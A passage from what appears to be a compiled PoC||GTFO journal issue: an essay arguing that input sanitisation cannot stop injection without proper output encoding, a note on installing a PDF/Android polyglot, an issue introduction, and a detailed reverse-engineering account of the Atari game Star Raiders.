implement %’s functionality in a more perfect manner. We leave this as
an exercise for purists.

But lo! With the implementation of the eight BF instructions, our
execution engine is complete! Page 586 shows a cleanly formatted
version of the final machine. The demonstration machine uses our
copy/paste/search/replace commands to calculate the prime numbers
up to 100. For ease of use, we add an introductory %0s search and
replace sequence—momentarily allowing ourselves to enter ex
commands—in order to insert the control characters (^ M, ^ R, etc.)
needed throughout the rest of the machine. This provides us a pure-
ASCII file, without the need to enter special characters. Simply copy
the text, paste into vanilla vim, launch with gg2yy@", and witness the
awesome Turing-complete power of our benevolent editor!53



12:10 Doing Right by Neighbor O’Hara

by Andreas Bogk
Knight in the Grand Recursive Order of the Knights of the Lambda Calculus

Priest in the House of the Apostles of Eris



What good is a pulpit that can’t be occasionally shared with a neighborly
itinerant preacher? In this fine sermon, Sir Andreas warns us of the heresy that
“input sanitation” will somehow protect you from injection attacks, no matter
what comes next for the inputs you’ve “sanitized”—and vouchsafes the true
prophecy of parsing and unparsing working together, keeping your inputs and
outputs valid, both coming and going. —PML

Brothers, Sisters, and Variations Thereupon!
Let me introduce you to a good neighbor. Her name is O’Hara and

she was born on January 1st in the year 1970 in Dublin. She’s made quite
an impressive career, and now lives in a nice house in Scunthorpe, UK,
working remotely for AT&T.

I ask you, neighbors: would you deny our neighbor O’Hara in the
name of SQL injection prevention? Or would you deny her date of
birth, just because you happen to represent it as zero in your
verification routine? Would you deny her place of work, as abominable
as it might be? Or would you even deny her place of living, just because
it contains a sequence of letters some might find offensive?

You say no, and of course you’d say no! As her name and date of
birth and employer and place of residence, they are all valid inputs.
And thou shalt not reject any valid input; that truly would not be
neighborly!



But wasn’t input filtering a.k.a. “sanitization” the right thing to do?
Don’t characters like ’ and & wreak unholy havoc upon your backend
SQL interpreter or your XHTML generator?

So where did we go wrong by the neighbor O’Hara?



There is a false prophesy making the rounds that you can protect
against undesirable injection into your system by input sanitization, no
matter where your sanitized inputs go from there, and no matter how
they then get interpreted or rendered. This “sanitization” is а heathen
fetish, neighbors, and the whole thing is dangerous foolery that we
need to drive out of the temple of proper input-handling.

Indeed, is the apostrophe character so inherently dirty and evil, that
we need to “sanitize” them out? Why, then, are we using this evil
character at all? Is the number 0 evil and unclean, no matter what,
despite historians of mathematics raving about its invention? Are
certain sounds unspeakable, regardless of where and when one may
speak them?

No, no, and no—for all bytes are created equal, and their
interpretation depends solely on the context they are interpreted in. As
any miracle cure, this snake oil of sanitization claims a grain of truth,
but entirely misses its point. No byte is inherently dirty so as to be
sanitized as such—but context and interpretation happeneth to them
all, and unless you know what these context and the interpretations are,
your sanitization is useless, nay, harmful and unneighborly to O’Hara.

The point is, neighbors, that at the input time you cannot possibly
know the context of the output. Your input sanitation scheme might
work to protect your backend for now—and then a developer comes
and adds an LDAP backend, and another comes and inserts data into a
JavaScript literal in your web page template. Then another comes and
adds an additional output encoding layer for your input—and what
looked safe to you at the outset crumbles to dust.



The ancient prophets of LISP knew that, for they fully specified
both what their machine read, and what it printed, in the holy REPL,
the Read-Eval-Print Loop. The P is just as important as the R or even
the E—for without it everything falls to the ground in the messy heaps
that bring about XSS, memory corruption, and packet-in-packet.
Pretty-printing may sound quaint, a matter unnecessary for “real
programmers,” but it is in fact deep and subtle—it is unparsing, which
produces the representation of parsed data suitable for the next context
it is consumed in. They knew to specify it precisely, and so should you.

So what does the true prophecy look like? Verily sanitize your
input—to the validity expectations you have of it. Yet be clear what this
really means, and treat the output with as much care as you treat the input.
The output is a language too, and must be produced according to its
own grammar, just as validating to the input grammar is the only hope
of keeping your handler from pwnage.

Sanity in input is important in structured data. When you expect
XML, you shall verify it is XML. When you expect XML with a
Schema, also verify the schema. Expecting JSON? Make sure you got
handed valid JSON. Use a parser with the appropriate power, as
LangSec commands. Yet, if your program were to produce even a
single byte of output, ask—what is the context of that output? What is
the expected grammar? Verily, you cannot know it from just the input
specification.

Any string of characters is likely to be a valid name. There is
nothing you should really do for sanitation, except making sure the
character encoding is valid. If your neighbor is called O’Hara, or
Tørsby, or Åke, make sure you can handle this input—but also make sure
you have the output covered!

This is the true meaning of the words of prophets: input validation,
however useful, cannot not prevent injection attacks, the same way
washing your hands will not prevent breaking your leg. Your output is
a language too, and unless you generate it in full understanding of what



it is—that is, unparse your data to the proper specification of whatever
code consumes it—that code is pwned.

Parsing and unparsing are like unto the two wings of the dove.
Neglect one, and you will not get you an olive branch of safety—nay, it
will never even leave your ark, but will flap uselessly about. Do not
hobble it, neighbors, but let it fly true—doing right by neighbors like
O’Hara both coming and going!

EOL, EOF, and EOT!





12:11 Are All Androids Polyglots or Only C-3PO?

by Philippe Teuwen

$ pm install/sdcard/pocorgtfol2.pdf

That’s all it takes to install this polyglot as an Android application.
So what’s the Jedi mind trick?

Basically, we merged the content of an Android application with the
ZIP feelies. (Please excuse the cruft you’ll find in the feelies!)

Now I won’t teach you anything if I tell you that an APK is just a
ZIP. It is, of course, a ZIP, but not just, if we also want it to be an
Android app; we need the application itself, for one thing, and then
some.

The Android OS requires all applications to be signed in order to
be installed, so our polyglot needs to be signed by our Pastor, which is
actually not a bad practice. Beyond this, Android doesn’t really care
about what else the ZIP could be (e.g., it can be a PDF, as is the
glorious PoCǁGTFO tradition), but the trick is that all of the archive
contents must be signed. In particular, this must include all the original
feelies, as you can observe in META-INF/MANIFEST.MF.

The resulting polyglot can be installed directly if dropped on
/sdcard/, as well as locally, by using the Android Package Manager as
shown above.



But I expect most readers—well, only those crazy enough to give
execute permission to the Pastor on their terminals—to install it via
the Android Debug Bridge tool adb. This method expects the
application package filename to end in .apk, so let’s humor it.

$ ln -s pocorgtfo12.pdf pocorgtfo12.apk
$ adb install pocorgtfo12.apk

But what does this application do? Not much, really. It copies itself
(the installed APK) to /sdcard/pocorgtfo12.pdf and opens this copy with
your preferred PDF reader.

Note: Imperial security is improving and on the latest versions of
the OS, even if this ’droid polyglot gets installed, it may fail in dex2oat.
You may need to develop your own Jedi tricks to tell them these are
not the droids they are looking for—and if you do, please send them to
us!54

And you, my friend, are you a polyglot? Let’s celebrate this fine
Québécoise release with a classic charade!

Charade des temps modernes

Mon premier est le nombre de Messier de la Galaxie d’Andromède.
Mon second est la somme de quatre nombres premiers consécutifs
commençant par 41.
Mon troisième est le nombre atomique de l’Unennquadium.
Mon quatrième est le nombre modèle qui succéda au Sinclair ZX80.

Mon tout lève tous les obstacles sur le chemin de la Science.



13 Stones from the Ivory Tower, Only

as Ballast



13:1 Listen up you yokels!

Neighbors, please join me in reading this fourteenth release of the
International Journal of Proof of Concept or Get the Fuck Out, a
friendly little collection of articles for ladies and gentlemen of
distinguished ability and taste in the field of reverse engineering and
worshippers of weird machines. This fourteenth release is given on
paper to the fine neighbors of São Paulo, San Diego, and Budapest.

After our paper release, and only when quality control has been
passed, we will make an electronic release named pocorgtfol3.pdf It is valid



as PDF, ZIP, and PostScript; please read it with Adobe Reader, unzip,
and gv.

We begin on page 604 with the story of how STAR RAIDERS by
Doug Neubauer for the Atari 400 was taken apart by Lorenz Weist,
from a mere ROM cartridge dump to annotated and literate 6502
disassembly. By a stroke of luck, Lorenz was able to read Doug’s
original source code for the game after completing his reverse
engineering project, giving him the rare opportunity to confirm his
understanding of the game’s design and behavior.

On page 645, James Forshaw introduces us to a nifty little trick for
simplifying reliable exploitation of race condition vulnerabilities.
Rather than spin up a dozen attempts to improve racetrack odds, he
instead induces situations with pathological performance penalties to
Windows NT system calls, stunning the threads of execution that
might interfere with his exploit for twenty minutes or more!

Micah Elizabeth Scott continues to send us brilliant articles that
refuse to be described by a single abstract, so let’s just say that on page
659 she explains a USB magic trick in which her Face Whisperer board
—combining the Facedancer and the Chip Whisperer—is able to
reliably glitch the USB stack of an embedded device to dump its
firmware. Or, we could say that on page 659 she explains how to use
undocumented commands from that firmware dump to program the
Harvard device by ROP. Or, we could say that on page 659 she shows
you to read RFID tags with a Wacom tablet. These tricks are all the
same article, and you’d be a fool not to read it.



In PoCǁGTFO 10:8, Travis Goodspeed jailbroke the Tytera

MD380 radio to allow for firmware extraction and patching. Since
then, a lively open source project has sprung up, with fancy new



features and fixes to old bugs. On page 676, he describes how to rip the
AMBE audio codec out of the radio firmware, transforming it into a
command line audio processing tool that runs on any Linux
workstation. Similar tricks can be used to quickly toss together
emulators for many ARM and PowerPC embedded systems, re-using
their library functions, or fuzzing their parsers in the familiar
environment of an everyday laptop.

Evan Sultanik is back with a safe cracking adventure that could only
be expressed as a play in three acts, narrated by our own Pastor Manul
Laphroaig. Speaking parts are available for Alice Feynman, Bob
Schrute, Havva al-Kindi, and the ghost of Paul Erdöos. You’ll find
Evan’s script on page 687.

Matt Knight has been reverse engineering the PHY of LoRa, a low-
power protocol for sub-GHz wireless networking over long distances.
On page 702 you will find not just the protocol details that allowed
him to write an open source receiver, but, far more importantly, you
will also find the methods by which he reverse engineered this
information from captured packets, vague application notes, and the
outright lies of the patent application.

Pastor Manul Laphroaig, your friendly neighborhood evangelist of
the gospel of the weird machines, has a sermon for you on page 734. He
reminds us that science takes place neither on stage in front of a live
studio audience nor in committees and government offices, but over a
glass of fine scotch that’s accompanied by finer conversation of
practitioners. In the same way that we oughtn’t put Tim the “Tool
Man” Taylor in charge of vocational education, we ought to leave the
teaching of science to those who do it, not those who talk about it on
TV.

Geoff Chappell is an old-school reverse engineer, an x86
archaeologist who has spent the past twenty-four years reading
Windows binaries to identify all the forgotten features and corner cases

that the rest of us might take for granted.1 On page 740, he introduces
us to the mystery of Microsoft’s Shim Database Compiler, an



unpublished tool for compiling driver shims that doesn’t seem to be
available to the outside world. Geoff shows us that, in fact, the tool is
available, wrapped up inside of a GUI as QFixApp.exe or CompatAdmin.exe. By
patching the program to expose its intact WinMain(), he can recover the
long-lost ShimDBC.exe for compiling Windows driver compatibility shims
from XML!

Evan Sultanik and Philippe Teuwen have teamed up on page 757, to
explain the inner workings of pocorgtfol3.pdf, which you can rename to
read as pocorgtfol3.zip or pocorgtfol3.ps.

13:2 Reverse Engineering Star Raiders

by Lorenz Wiest

STAR RAIDERS is a seminal computer game published by Atari
Inc. in 1979 as one of the first titles for the original Atari 8-bit Home
Computer System (Atari 400 and Atari 800). It was written by Atari
engineer Doug Neubauer, who also created the system’s POKEY sound



chip. STAR RAIDERS is considered to be one of the ten most

important computer games of all time.2

The game is a 3D space combat flight simulation where you fly
your starship through space, shooting at attacking Zylon spaceships
The game’s universe is made up of a 16 × 8 grid of sectors  Some of
them contain enemy Zylon units  some a friendly starbase  The Zylon
units converge toward the starbases and try to destroy them. The
starbases serve as repair and refueling points for your starship. You
move your starship between sectors with your hyperwarp drive  The
game is over if you have destroyed all Zylon ships, have ran out of
energy, or if the Zylons have destroyed all starbases.

At a time when home computer games were pretty static—think
SPACE INVADERS (1978) and PAC MAN (1980)-STAR RAIDERS
was a huge hit because the game play centered on the very dynamic 3D
first-person view out of your starship’s cockpit window.

The original Atari 8-bit Home Computer System has up to 48 KB
RAM and uses a Motorola 6502 CPU. The same CPU is also used in
the Apple II, the Commodore C64 (a 6502 variant), and the T-800

Terminator.3 Several proprietary Atari custom chips provide additional
capabilities to the system. STAR RAIDERS shows off many of them: 5
Players (sprites), mixed text and pixel graphics modes, dynamic Display
Lists, a custom character set, 4-channel sound, Vertical Blank Interrupt
and Display List Interrupt code. Even the BCD mode of the 6502
CPU is used.





I have been always wondering what made STAR RAIDERS tick. I
was especially curious how that 3D first-person view star field worked,



in particular the rotations of the stars when you fly a turn. So I decided
to reverse engineer the game, aiming at a complete, fully documented
assembly language source code of STAR RAIDERS.

In the following sections I’ll show you how I approached the reverse
engineering effort, introduce my favorite piece of code in STAR
RAIDERS, talk about how the tight memory limits influenced the
implementation, reveal some bugs, point at some mysterious code, and
explain how I got a grip on documenting STAR RAIDERS. From
time to time, to provide some context to you, I will reference memory
locations of the game, which you can look up in the reverse engineered,
complete, and fully documented assembly language source code of

STAR RAIDERS available on GitHub.4





Getting Started

STAR RAIDERS is distributed as an 8 KB ROM cartridge, occupying
memory locations $A000 to $BFFF.

The obvious first step was to prod a ROM dump with a
disassembler and to apply Atari’s published hardware and OS symbols
to the disassembly. To my surprise this soon revealed that code and
data were cleanly separated into three parts:

$A000 – $A149 Data Part 1

$A14A – $B8DE 6502 Code

$B8DF – $BFFF Data Part 2

This separation helped me to get an overview of the code, as I could
create a disassembly in one go without sifting slowly through the bytes
of the ROM, deciding which were instructions and which were data.

Closer inspection of the code part revealed that it was composed of
neatly separated subroutines. Each subroutine handles a specific task.
The largest subroutine is the main game loop GAMELOOP ($A1F3), shown in
Figure 13.1. What I expected to be spaghetti code, given the
development tools of 1979 and the substantial amount of game features
crammed into the 8K ROM, turned out to be surprisingly structured.
Table 13.1 lists all subroutines of STAR RAIDERS, as their function
emerged during the reverse engineering effort, giving a good overview
how the STAR RAIDERS code is organized.



Figure 13.1: Simplified Call Graph of Start Up and Game Loop



Table 13.1: Star Raiders Subroutines



Figure 13.2 shows the “genome sequence” of the STAR RAIDERS
8 KB ROM: The 8,192 bytes of the game are stacked vertically, with
each byte represented by a tiny, solid horizontal line of 8 pixels. This
stack is split into strips of 192 bytes, arranged side-by-side. Alternating

light and dark blue areas represent bytes of distinct subroutines.5

Alternating light and dark green and purple areas represent bytes of
distinct sections of data. (Lookup tables, graphical shapes, etc.) When
data bytes represent graphical shapes, the solid line of a byte is replaced
by its actual bit pattern (in purple color).

There are a couple of interesting things to see:

The figure reflects the ROM’s separation into a data part (green
and purple), a code part (blue), and one more data part (green and
purple).

The first data part contains mostly the custom font, shown in
strips 1 and 2.

The largest contiguous (dark) blue chunk represents the 1246 bytes
of the main game loop GAMELOOP ($A1F3), in strips 3 to 10.

At the beginning of the second data part are the shapes for the
player sprites, in strips 34 to 36.

The largest contiguous (light) green chunk represents the 503
bytes of the game’s word table WORDTAB ($BC2B), in strips 38 to 41.

A good reverse engineering strategy was to start working from code
locations that used Atari’s published symbols, the equivalent of piecing
together the border of a jigsaw puzzle first before starting to tackle the
puzzle’s center. Then, however, came the inevitable and very long
stretch of reconstructing the game’s logic and variables with a
combination of educated guesses, trial-and-error, and lots of patience.
At this stage, the tools I used mostly were nothing but a text editor
(Notepad) and a word processor (Microsoft Word) to fill the gaps in
the documentation of the code and the data. I also created a memory
map text file to list the used memory locations and their purpose.



These entries were continually updated, often discarded after it turned
out that I had taken a wrong turn.

A Programming Gem: Rotating 3D Vectors

What is the most interesting, fascinating, and unexpected piece of code
in STAR RAIDERS? My pick would be the very code that first
interested my in this code: subroutine ROTATE ($B69B), which rotates
objects in the game’s 3D coordinate space, shown on page 621. And
here is why: Rotation calculations usually involve trigonometry,
matrices, and at least a few multiplications. But the 6502 CPU has only
8-bit addition and subtraction operations. It does not provide
multiplication or division operations, and certainly no trig operation!
So how do the rotation calculations work?

Let’s start with the basics: The game uses a 3D coordinate system
with the position of our starship at the center of the coordinate system.
The locations of all space objects (Zylon ships, meteors, photon
torpedoes, starbase, transfer vessel, Hyperwarp Target Marker, stars,
and explosion fragments) are described by a position vector relative to
our starship.



Figure 13.2: Genome Sequence of the STAR RAIDERS ROM

A position vector is composed of an x, y, and z component, whose

values I call the x, y, and z coordinates with the arbitrary unit, <KM>.

The range of a coordinate is –65536 to +65535 <KM>.

Each coordinate is a signed 17-bit integer number, which fits into
three bytes. Bit 16 contains the sign bit, which is 1 for positive and 0 for
negative sign. Bits 15 to 0 are the mantissa as a two’s-complement
integer.

Some example bit patterns for coordinates:



The position vector for each space object is stored in nine tables.
(Three coordinates, with three bytes for each coordinate.) There are up
to 49 space objects used in the game simultaneously, so each table is 49
bytes long.

   XPOSSIGN        XPOSHI         XPOSLO
($09DE..$0A0E) ($0A71..$0AA1) ($0B04..$0B34)
   YPOSSIGN        YPOSHI         YPOSLO
($0A0F..$0A3F) ($0AA2..$0AD2) ($0B35..$0B65)
   ZPOSSIGN        ZPOSHI         ZPOSLO
($09AD..$09DD) ($0A40..$0A70) ($0AD3..$0B03)

With that explained, let’s have a look at subroutine ROTATE ($B69B).
This subroutine rotates a position vector component (coordinate) of a
space object by a fixed angle around the center of the 3D coordinate
system, the location of our starship. This operation is used in three of
the game’s four view modes (Front view, Aft view, Long-Range Scan
view) to rotate space objects in and out of the view.

Rotation Mathematics

The game uses a left-handed 3D coordinate system with the positive x-
axis pointing to the right, the positive y-axis pointing up, and the
positive z-axis pointing into flight direction.



A rotation in this coordinate system around the y-axis (horizontal
rotation) can be expressed as

where ry is the clockwise rotation angle around the y-axis, x and z are

the coordinates before this rotation, and the primed coordinates x' and

z' the coordinates after this rotation. The y-coordinate is not changed

by this rotation.



A rotation in this coordinate system around the x-axis (vertical
rotation) can be expressed as

where rx is the clockwise rotation angle around the x-axis, z and y are

the coordinates before this rotation, and the primed coordinates z' and

y' the coordinates after this rotation. The x-coordinate is not changed

by this rotation.

Subroutine Implementation Overview

A single call of subroutine ROTATE ($B69B) is able to compute one of the
four expressions in Equations 13.1 and 13.2. To compute all four
expressions to get the new set of coordinates, this subroutine has to be
called four times. This is done twice in pairs in GAMELOOP ($A1F3) at $A391
and $A398, and at $A3AE and $A3B5, respectively.

The first pair of calls calculates the new x and z coordinates of a
space object due to a horizontal (left/right) rotation of our starship
around the y-axis following the expressions of Equation 13.1.

The second pair of calls calculates the new y and z coordinates of
the same space object due to a vertical (up/down) rotation of our
starship around the x-axis following the expressions of Equation 13.2.

If you look at the code of ROTATE ($B69B), you may be wondering how
this calculation is actually executed, as there is neither a sine nor cosine
function call. What you’ll actually find implemented, however, are the
following calculations:

Joystick Left



Joystick Right

Joystick Down

Joystick Up

CORDIC Algorithm

When you compare the expressions of Equations 13.1–13.2 with
expressions of Equations 13.3–13.6, notice the similarity between the

expressions if you substitute6

sin(ry) → 1/64

cos(ry) → 1

sin(rx) → 1/64

cos(rx) → 1

From sin(ry) = 1/64 and sin(rx) = 1/64 you can derive that the

rotation angles ry and rx by which the space object is rotated (per game

loop iteration) have a constant value of 0.89°, as arcsin(1/64) = 0.89°.

What about cos(ry) and cos(rx)? The substitution does not match

our derived angle exactly, because cos(0.89°) = 0.99988 and is not

exactly 1. However, this value is so close that substituting cos(0.89°)
with 1 is a very good approximation, simplifying calculations
significantly.



Another significant simplification results from the division by 64, as
the actual division operation can be replaced with a much faster bit
shift operation.

This calculation-friendly way of computing rotations is also known
as the CORDIC algorithm. (COordinate Rotation DIgital Computer.)

Minsky Rotation

There is one more interesting mathematical subtlety: Did you notice
that expressions of Equations 13.1 and 13.2 use a new (primed) pair of
variables to store the resulting coordinates, whereas in the
implemented Equations 13.3–13.6, the value of the first coordinate of a
coordinate pair is overwritten with its new value and this value is used
in the subsequent calculation of the second coordinate? For example,
when the joystick is pushed left, the first call of this subroutine
calculates the new value of x according to first expression of Equation
13.3, overwriting the old value of x. During the second call to calculate
z according to the second expression of Equation 13.3, the new value of
x is used instead of the old one. Is this to save the memory needed to
temporarily store the old value of x? Is this a bug? If so, why does the
rotation calculation actually work?

Have a look at the expressions of Equation 13.3. The other
Equations 13.4–13.6 work in a similar fashion.

x := x + z/64

z := –x/64 + z

If we substitute 1/64 with e, we get

x := x + ez
z := –ex + z

Note that x is calculated first and then used in the second

expression. When using primed coordinates for the resulting
coordinates after calculating the two expressions we get



or in matrix form

Surprisingly, this turns out to be a rotation matrix, because its

determinant is (1 × (1 – e2) – (–e × e)) = 1.7

This kind of rotation calculation is described by Marvin Minsky in

AIM 239 HAKMEM8 and is called “Minsky Rotation.”





Subroutine Implementation Details

To better understand how the implementation of this subroutine
works, we must again look at Equations 13.3–13.6. If you rearrange the
expressions a little, their structure is always of the form:

TERM1 := TERM1 SIGN TERM2/64

or shorter

TERM1 := TERM1 SIGN TERM3



where TERM3 := TERM2/64 and SIGN := + or – and where TERM1 and TERM2 are
coordinates. In fact, this is all this subroutine actually does: It simply
adds TERM2 divided by 64 to TERM1 or subtracts TERM2 divided by 64 from
TERM1.

When calling this subroutine the correct table indices for the
appropriate coordinates TERM1 and TERM2 are passed in the CPU’s Y and X
registers, respectively.

What about SIGN between TERM1 and TERM3? Again, have a look at
Equations 13.3–13.6. To compute the two new coordinates after a
rotation, the SIGN toggles from plus to minus and vice versa. The SIGN is
initialized with the value of JOYSTICKDELTA ($6D) before calling subroutine
ROTATE ($B69B, page 621) and is toggled in every call of this subroutine.
The initial value of SIGN should be positive (+, byte value $01) if the
rotation is clockwise (the joystick is pushed right or up) and negative
(—, byte value $FF) if the rotation is counter-clockwise (the joystick is
pushed left or down), respectively. Because SIGN is always toggled in
ROTATE ($B69B) before the adding or subtraction operation of TERM1 and TERM3
takes place, you have to pass the already toggled value with the first
call.

Unclear still are three instructions starting at address $B6AD. They
seem to set the two least significant bits of TERM3 in a random fashion.
Could this be some quick hack to avoid messing with exact but
potentially lengthy two’s-complement arithmetic?

Dodging Memory Limitations

It is impressing how much functionality was squeezed into STAR
RAIDERS. Not surprisingly, the bytes of the 8 KB ROM are used up
almost completely. Only a single byte is left unused at the very end of
the code. When counting four more bytes from three orphaned entries
in the game’s lookup tables, only five bytes in total out of 8,192 bytes
are actually not used. ROM memory was extremely precious. Here are
some techniques that demonstrate the fierce fight for each spare ROM
byte.



Loop Jamming

Loop jamming is the technique of combining two loops into one,
reusing the loop index and optionally skipping operations of one loop
when the loop index overshoots.

How much bytes are saved by loop jamming? As an example, Figure
13.3 shows an original 19-byte fragment of subroutine INITIALIZE ($B3BA)
using loop jamming. The same fragment without loop jamming, shown
in Figure 13.4, is 20 bytes long. So loop jamming saved one single byte.

Another example is the loop that is set up at $A165 in INITCOLD ($A14A). A
third example is the loop set up at $B413 in INITIALIZE ($B3BA). This loop
does not explicitly skip loop indices, thus saving four more bytes (the
CMP and BCS instructions) on top of the one byte saved by regular loop
jamming. Thus, seven bytes are saved in total by loop jamming.



Figure 13.3: INITIALIZE Subroutine at $B3BA (Excerpt)

Figure 13.4: INITIALIZE Without Loop Jamming (Excerpt)

Sharing Blank Characters

One more technique to save bytes is to let strings share their leading
and trailing blank characters. In the game there is a header text line of
twenty characters that displays one of the strings “LONG RANGE SCAN,” “AFT
VIEW,” or “GALACTIC CHART.” The display hardware directly points to their
location in the ROM. They are enclosed in blank characters (bytes of
value $00) so that they appear horizontally centered.

A naive implementation would use 3 × 20 = 60 bytes to store these
strings in ROM. In the actual implementation, however, the trailing
blanks of one header string are reused as leading blanks of the following
header, as shown in Figure 13.5. By sharing blank characters the
required memory is reduced from 60 bytes to 54 bytes, saving six bytes.



Figure 13.5: Header Texts at $AOFA

Figure 13.6: VBIHNDLR and DLSTHNDLR Handlers Share Exit Code

Reusing Interrupt Exit Code

Yet another, rather traditional technique is to reuse code, of course.
Figure 13.6 shows the exit code of the Vertical Blank Interrupt handler
VBIHNDLR ($A6D1) at $A715, which jumps into the exit code of the Display List
Interrupt handler DLSTHNDLR ($A718) at $A74B, reusing the code that restores
the registers that were put on the CPU stack before entering the
Vertical Blank Interrupt handler.

This saves another six bytes (PLA, TAY, PLA, TAX, PLA, RTI), but spends three
bytes (JMP JUMP004), in total saving three bytes.

Bugs

There are a few bugs, or let’s call them glitches, in STAR RAIDERS.
This is quite astonishing, given the complex game and the development



tools of 1979, and is a testament to thorough play testing. The
interesting thing is that the often intense game play distracts the
players’ attention away from these glitches, just like what a skilled
parlor magician might do.

A Starbase Without Wings

When a starbase reaches the lower edge of the graphics screen and
overlaps with the Control Panel Display, and you nudge the starbase a
little bit more downward, its wings suddenly vanish. (Figure 13.7.)

The reason is shown in the insert on the right side of the figure:
The starbase is a composite of three Players (sprites). Their bounding
boxes are indicated by three white rectangles. If the vertical position of
the top border of a Player is larger than a vertical position limit,
indicated by the tip of the white arrow, the Player is not displayed. The
relevant location of the comparison is at $A534 in GAMELOOP ($A1F3). While
the Player of the central part of the starbase does not exceed this
vertical limit, the Players that form the starbase’s wings do so, and are
thus not rendered.

This glitch is rarely noticed because players do their best to keep
the starbase centered on the screen, a prerequisite for a successful
docking.

Shuffling Priorities

There are two glitches that are almost impossible to notice, and I admit
some twisted kind of pleasure in exposing them. During regular
gameplay, the Zylon ships and the photon torpedoes appear in front of
the cross hairs, as if the cross hairs were light years away. (Figure 13.8
Left.) During docking, the starbase not only appears behind the stars as

if the starbase is light years away, but the transfer vessel moves in front of
the cross hairs! (Figure 13.8 Right.)



Figure 13.7: A Starbase’s Wings Vanish

Figure 13.8: Photon torpedo in front of cross hairs and a starbase
behind the stars!

The reason is the drawing order or “graphics priority” of the bit-
mapped graphics and the Players (sprites). It is controlled by the PRIOR
($D01B) hardware register.

During regular flight, PRIOR ($D01B) has a value of $11. (Figure 13.8 left.)
This arranges the displayed elements in the following order, from front
to back:

Players 0-4 (photon torpedoes, Zylon ships, . . .)

Bit-mapped graphics (stars, cross hairs)

Background

This arrangement is fine for the stars as they are bit-mapped
graphics and need to appear behind the photon torpedoes and the
Zylon ships, but this arrangement applies also to the cross hairs,
causing the glitch.



During docking, see Figure 13.8 (right), PRIOR ($D01B) has a value of $14.
This arranges the displayed elements the following order, from front to
back:

Player 4 (transfer vessel)

Bit-mapped graphics (stars, cross hairs)

Players 0-3 (starbase, . . .)

Background

This time the arrangement is fine for the cross hairs as they are bit-
mapped graphics and need to appear in front of the starbase, but this
arrangement also applies to the stars. In addition, the Player of the
white transfer vessel correctly appears in front of the bit-mapped stars,
but also in front of the bit-mapped cross hairs.

Fixing these glitches is hardly possible, as the display hardware does
not allow for a finer control of graphics priorities for individual
Players.

A Mysterious Finding

A simple instruction at location $A175 contained the most mysterious
finding in the game’s code. The disassembler reported the following
instruction, which is equivalent to STA $0067,X. (ISVBISYNC has a value of $67.)

A175 9D6700  STA ISVBISYNC,X

The object code assembled from this instruction is unusual as its
address operand was assembled as a 16-bit address and not as an 8-bit
zero-page address. Standard 6502 assemblers would always generate
shorter object code, producing 9567 (STA $67,X) instead of 9D6700 and saving
a byte.

In my reverse engineered source code, the only way to reproduce
the original object code was the following:



I speculated for a long time whether this strange assembler output
indicated that the object code of the original ROM cartridge was
produced with a non-standard 6502 assembler. I have heard that Atari’s
in-house development systems ran on PDP-11 hardware. Luckily, the
month after I finished my reverse engineering effort, the original STAR

RAIDERS source code re-surfaced.9 To my astonishment it uses
exactly the same hack to reproduce the three-byte form of the STA
ISVBISYNC,X instruction:

Unfortunately the comments do not give a clue why this pattern
was chosen. After quite some time it made click: The instruction STA
ISVBISYNC,X is used in a loop which iterates the CPU’s X register from 0 to
255 to clear memory. By using this instruction with a 16-bit address
(“indexed” mode operand) memory from $0067 to $0166 is cleared. Had
the code been using the same operation with an 8-bit address
(“indexed, zero-page” mode operand), memory from $0067 to $00FF
would have been cleared, then the indexed address would have wrapped
back to $0000 clearing memory $0000 to $0066, effectively overwriting
already initialized memory locations.

Documenting Star Raiders

Right from the start of reverse engineering STAR RAIDERS I not
only wanted to understand how the game worked, but I also wanted to
document the result of my effort. But what would be an appropriate
form?

First, I combined the emerging memory map file with the fledgling
assembly language source code in order to work with just one file.



Then, I switched the source code format to that of MAC/65, a well-
known and powerful macro assembler for the Atari 8-bit Home
Computer System. I also planned, at some then distant point in the
future, to assemble the finished source code with this assembler on an
8-bit Atari.

Another major influence on the emerging documentation was the

Atari BASIC Source Book, which I came across by accident.10 It
reproduced the complete, commented assembly language source code
of the 8 KB Atari BASIC interpreter cartridge, a truly non-trivial piece
of software. But what was more: The source code was accompanied by
several chapters of text that explained in increasing detail its concepts
and architecture, that is, how Atari BASIC actually worked. Deeply
impressed, I decided on the spot that my reverse engineered STAR
RAIDERS source code should be documented at the same level of
detail.

The overall documentation structure for the source code, which I
ended up with was fourfold: On the lowest level, end-of-line comments
documented the functionality of individual instructions. On the next
level, line comments explained groups of instructions. One level higher
still, comments composed of several paragraphs introduced each
subroutine. These paragraphs provided a summary of the subroutine’s
implementation and a description of all input and output parameters,
including the valid value ranges, if possible. On the highest level, I
added the memory map to the source code as a handy reference. I also
planned to add some chapters on the game’s general concepts and
overall architecture, just like the Atari BASIC Source Book had done.
Unfortunately, I had to drop that idea due to lack of time. I also felt
that the detailed subroutine documentation was quite sufficient.
However, I did add sections on the 3D coordinate system and the
position and velocity vectors to the source code as a tip of the hat to
the Atari BASIC Source Book.

After I was well into reverse engineering STAR RAIDERS, slowly
adding bits and pieces of information to the raw disassembly of the
STAR RAIDERS ROM and fleshing out the ever growing



documentation, I started to struggle with establishing a consistent and
uniform terminology for the documentation (Is it “asteroid,”
“meteorite,” or “meteor?” “Explosion bits,” “explosion debris,” or
“explosion fragments?” “Gun sights” or “cross hairs?”) A look into the
STAR RAIDERS instruction manual clarified only a painfully small
amount of cases. Incidentally, it also contradicted itself as it called the
enemies “Cylons” while the game called them “Zylons,” such as in the
message “SHIP DESTROYED BY ZYLON FIRE.”

But I was not only after uniform documentation, I also wanted to
unify the symbol names of the source code. For example, I had created
a hodge-podge of color-related symbol names, which contained
fragments such as “COL,” “CLR,” “COLR,” and “COLOR.” To make matters worse,
color-related symbol names containing “COL” could be confused with
symbol names related to (pixel) columns. The same occurred with
symbol names related to Players (sprites), which contained fragments
such as “PL,” “PLY,” “PLYR,” “PLAY,” and “PLAYER,” or with symbol names of
lookup tables, which ended in “TB,” “TBL,” “TAB,” and “TABLE,” and so on. In
addition to inventing uniform symbol names I also did not want to
exceed a self-imposed symbol name limit of 15 characters. So I
refactored the source code with the search-and-replace functionality of
the text editor over and over again.

I noticed that I spent more and more time on refactoring the
documentation and the symbol names and less time on adding actual
content. In addition, the actual formatting of the emerging
documented source code had to be re-adjusted after every refactoring
step. Handling the source code became very unwieldy. And worst of all:
How could I be sure that the source code still represented the exact
binary image of the ROM cartridge?

The solution I found to this problem eventually was to create an
automated build pipeline, which dealt with the monotonous chores of
formatting and assembling the source code, as well as comparing the
produced ROM cartridge image with a reference image. This freed
time for me to concentrate on the actual source code content. Yet
